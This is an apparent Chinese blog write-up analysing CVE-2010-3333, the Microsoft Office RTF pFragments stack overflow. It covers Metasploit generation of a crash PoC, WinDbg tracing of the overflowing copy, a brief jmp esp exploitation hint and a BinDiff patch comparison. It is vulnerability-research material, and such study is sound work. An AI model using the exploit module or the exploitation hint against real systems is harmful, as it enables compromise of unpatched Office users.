CVE-2010-3333-MicroSoftRTF栈溢出漏洞

玩了十天,继续学习~

RTF格式

富文本格式(RTF)规范是为了便于在应用程序之间轻松转储格式化文本和图形的一种编码方法。嗯,它是以文本方式存储的,文本里面有一定的格式,各种软件按照标准来解析它,很像html呢,它的基本元素是正文,控制字,控制符号与群组。具体可以看参考[1]。它经常会爆漏洞,所以一般看到这个东西就要小心啦,这里的漏洞也是对它解析存在的漏洞:

\rtf1-RTF版本
\ansi-支持ANSI字符集
\shp-绘图对象
*\shpinst-图片引用
\sp-绘图对象属性定义
\sn pFragments-定义属性名称,pFragments段是图形的附加部分,属于数组结构,它允许图形包含多个路径和分段,该属性列出图形各个碎片
\sv-定义属性值
RTF分析器正是在解析pFragments属性值时,没有正确计算属性值所占用的空间大小,导致栈溢出漏洞的发生。

生成PoC

这里生成一个DoS的PoC方便调试漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
msf > search 3333

Matching Modules
================

Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/fileformat/ms10_087_rtf_pfragments_bof 2010-11-09 great MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)


msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
msf exploit(ms10_087_rtf_pfragments_bof) > options

Module options (exploit/windows/fileformat/ms10_087_rtf_pfragments_bof):

Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.rtf yes The file name.


Exploit target:

Id Name
-- ----
0 Automatic


msf exploit(ms10_087_rtf_pfragments_bof) > show targets

Exploit targets:

Id Name
-- ----
0 Automatic
1 Microsoft Office 2002 SP3 English on Windows XP SP3 English
2 Microsoft Office 2003 SP3 English on Windows XP SP3 English
3 Microsoft Office 2007 SP0 English on Windows XP SP3 English
4 Microsoft Office 2007 SP0 English on Windows Vista SP0 English
5 Microsoft Office 2007 SP0 English on Windows 7 SP0 English
6 Crash Target for Debugging


msf exploit(ms10_087_rtf_pfragments_bof) > set target 6
target => 6
msf exploit(ms10_087_rtf_pfragments_bof) > options

Module options (exploit/windows/fileformat/ms10_087_rtf_pfragments_bof):

Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.rtf yes The file name.


Exploit target:

Id Name
-- ----
6 Crash Target for Debugging

msf exploit(ms10_087_rtf_pfragments_bof) > exploit

[*] Creating 'msf.rtf' file ...
[+] msf.rtf stored at /root/.msf4/local/msf.rtf
msf exploit(ms10_087_rtf_pfragments_bof) >

基于栈回溯的分析

1.attach运行的WINWORD.EXE,打开POC,程序中断:

发现应该是溢出到了只读页面,此时使用kb回溯调用链发现出错,检查栈发现已经被覆写,推测是栈溢出:

1
2
3
4
5
6
7
8
9
0:000> db esp
00183d50 f0 10 28 05 40 3f 18 00-96 cc f4 30 f0 10 28 05 ..(.@?.....0..(.
00183d60 78 3d 18 00 00 00 00 00-00 00 00 00 00 00 00 00 x=..............
00183d70 00 00 00 00 26 86 8f bf-41 61 30 41 61 31 41 61 ....&...Aa0Aa1Aa
00183d80 32 41 61 33 41 61 34 41-61 35 41 61 36 41 61 37 2Aa3Aa4Aa5Aa6Aa7
00183d90 41 61 38 41 61 39 41 62-30 41 62 31 41 62 32 41 Aa8Aa9Ab0Ab1Ab2A
00183da0 62 33 41 62 34 41 62 35-41 62 36 41 62 37 41 62 b3Ab4Ab5Ab6Ab7Ab
00183db0 38 41 62 39 41 63 30 41-63 31 41 63 32 41 63 33 8Ab9Ac0Ac1Ac2Ac3
00183dc0 41 63 34 41 63 35 41 63-36 41 63 37 41 63 38 41 Ac4Ac5Ac6Ac7Ac8A

那么就在此处下断点,重启运行程序,在指令执行前观察环境。
2.观察寄存器发现操作目标地址在栈上:

观察汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
30e9eb62 57              push    edi
30e9eb63 8b7c240c mov edi,dword ptr [esp+0Ch] //arg2
30e9eb67 85ff test edi,edi
30e9eb69 7427 je mso!Ordinal6426+0x657 (30e9eb92)
30e9eb6b 8b442408 mov eax,dword ptr [esp+8] //arg1
30e9eb6f 8b4808 mov ecx,dword ptr [eax+8]
30e9eb72 81e1ffff0000 and ecx,0FFFFh
30e9eb78 56 push esi
30e9eb79 8bf1 mov esi,ecx
30e9eb7b 0faf742414 imul esi,dword ptr [esp+14h] //arg3
30e9eb80 037010 add esi,dword ptr [eax+10h] //
30e9eb83 8bc1 mov eax,ecx
30e9eb85 c1e902 shr ecx,2 ;ecx=*(arg1+8h)&0ffff
30e9eb88 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] ;溢出处:edi=arg2,esi=*(arg1+10h)+*(arg1+8h)*arg3
30e9eb8a 8bc8 mov ecx,eax
30e9eb8c 83e103 and ecx,3
30e9eb8f f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
30e9eb91 5e pop esi
30e9eb92 5f pop edi
30e9eb93 c20c00 ret 0Ch

由于此处没有形成新栈帧,只能使用esp查看参数:

1
2
3
0:000> dd esp
00183d50 060910f0 00183f40 30f4cc96 060910f0 ;esi edi ret arg1
00183d60 00183d78 00000000 00000000 00000000 ;arg2 arg3

于是这个vulfun为(srcStruc,dst,0),现在向上观察它的调用者:

1
2
3
4
5
6
7
8
9
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00183d88 30f4cdbd 00183ef4 00000000 ffffffff mso!Ordinal6426+0x64d
00183db8 30f4a597 00183f40 00183ef4 00000000 mso!Ordinal753+0x306e ;在此函数里调用的
00184004 30d4b199 00000000 00184044 00000000 mso!Ordinal753+0x848
0018402c 30d4b148 30d4ae32 060914c8 06091500 mso!Ordinal4196+0x61f
00184030 30d4ae32 060914c8 06091500 060913b0 mso!Ordinal4196+0x5ce
00184034 060914c8 06091500 060913b0 30dc9d44 mso!Ordinal4196+0x2b8

其中mso!Ordinal753+0x306e是返回地址,再向上得到的函数为外层函数:

1
2
3
4
5
6
7
8
9
10
0:000> ub mso!Ordinal753+0x306e 
mso!Ordinal753+0x305a:
30f4cda9 23c1 and eax,ecx
30f4cdab 50 push eax
30f4cdac 8d47ff lea eax,[edi-1]
30f4cdaf 50 push eax
30f4cdb0 8b4508 mov eax,dword ptr [ebp+8]
30f4cdb3 6a00 push 0
30f4cdb5 ff750c push dword ptr [ebp+0Ch]
30f4cdb8 e8a0feffff call mso!Ordinal753+0x2f0e (30f4cc5d)

于是在mso!Ordinal753+0x2f0e处下断点,再次重启分析。
3.先试运行,观察在何时调用mso!Ordinal6426+0x64d,即使一直使用g,直到断在发现mso!Ordinal6426+0x64d,则最后一次是我们需要的,这里发现是第一次,重启运行到第一次断下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
30f4cc5d 55              push    ebp
30f4cc5e 8bec mov ebp,esp
30f4cc60 83ec14 sub esp,14h
30f4cc63 837d1800 cmp dword ptr [ebp+18h],0
30f4cc67 57 push edi
30f4cc68 8bf8 mov edi,eax
30f4cc6a 0f84b6291300 je mso!Ordinal1549+0x93fa9 (3107f626)
30f4cc70 8b4f08 mov ecx,dword ptr [edi+8]
30f4cc73 53 push ebx
30f4cc74 56 push esi
30f4cc75 e892b4ddff call mso!Ordinal6594+0x596 (30d2810c) ;得eax
30f4cc7a ff750c push dword ptr [ebp+0Ch]
30f4cc7d 8b7064 mov esi,dword ptr [eax+64h] ;
30f4cc80 8365f800 and dword ptr [ebp-8],0
30f4cc84 8b06 mov eax,dword ptr [esi]
30f4cc86 8d4df0 lea ecx,[ebp-10h]
30f4cc89 51 push ecx ;arg2=dst=ebp-10h
30f4cc8a bb00000005 mov ebx,5000000h
30f4cc8f 56 push esi ;arg1=srcStruc=[eax+64]
30f4cc90 895df4 mov dword ptr [ebp-0Ch],ebx
30f4cc93 ff501c call dword ptr [eax+1Ch] ds:002b:30d9ed2c=30e9eb62 ;call vulfun
30f4cc96 8b4514 mov eax,dword ptr [ebp+14h]
30f4cc99 ff7518 push dword ptr [ebp+18h]
30f4cc9c 8b55f0 mov edx,dword ptr [ebp-10h]
...........................................................................................
30f4cd48 0f85e4281300 jne mso!Ordinal1549+0x93fb5 (3107f632)
30f4cd4e 8a45ff mov al,byte ptr [ebp-1]
30f4cd51 5e pop esi
30f4cd52 5b pop ebx
30f4cd53 5f pop edi
30f4cd54 c9 leave
30f4cd55 c21400 ret 14h

4.现在知道了ecx是溢出的原因,而ecx的值与rtf里的pFragment处值一样,猜测来自此处,修改之即可证明程序直接将文件里提供的值未做任何过滤而作为长度,但复制的目的地址却是小的固定长度栈空间,于是导致栈溢出。

漏洞利用

木有什么要说的,只需要注意edi是属于外层函数的,而外层函数退出时,是ret 14h,若使用覆盖返回地址的jmp esp法需要注意填充。

补丁分析

需要先安装bindiff(可能需要爬墙),安装它需要jre,我在这里卡了一晚上,后来才发现自己装的jre有错误,绝望。装好以后使用ida打开打补丁前与之后的文件,使之生成两个用于分析的idb,然后在插件里面开始分析(注意,当前似乎只支持到ida6.8):

然后点击未打补丁的那个之前分析的函数,找到对应的补丁后函数,观察:

看到未打补丁时,得到了srcStruc后直接调用漏洞触发的函数了,而打补丁后是另一个分支:

由于调用函数用了eax来索引不能准确找到被调函数,这里只简单记录一下:

1
2
3
4
5
6
7
8
9
.text:30EAB218 sub_30EAB218    proc near               ; DATA XREF: .text:30DA9A50o
.text:30EAB218
.text:30EAB218 arg_0 = dword ptr 4
.text:30EAB218
.text:30EAB218 mov eax, [esp+arg_0]
.text:30EAB21C mov eax, [eax+8]
.text:30EAB21F and eax, 0FFFFh
.text:30EAB224 retn 4
.text:30EAB224 sub_30EAB218 endp

看到先获取size,然后判断size是否大于4,若大于则不做任何操作,这样就修复了漏洞。

参考

[1]http://blog.csdn.net/a497785609/article/details/8899899
[2]漏洞战争:软件漏洞分析精要》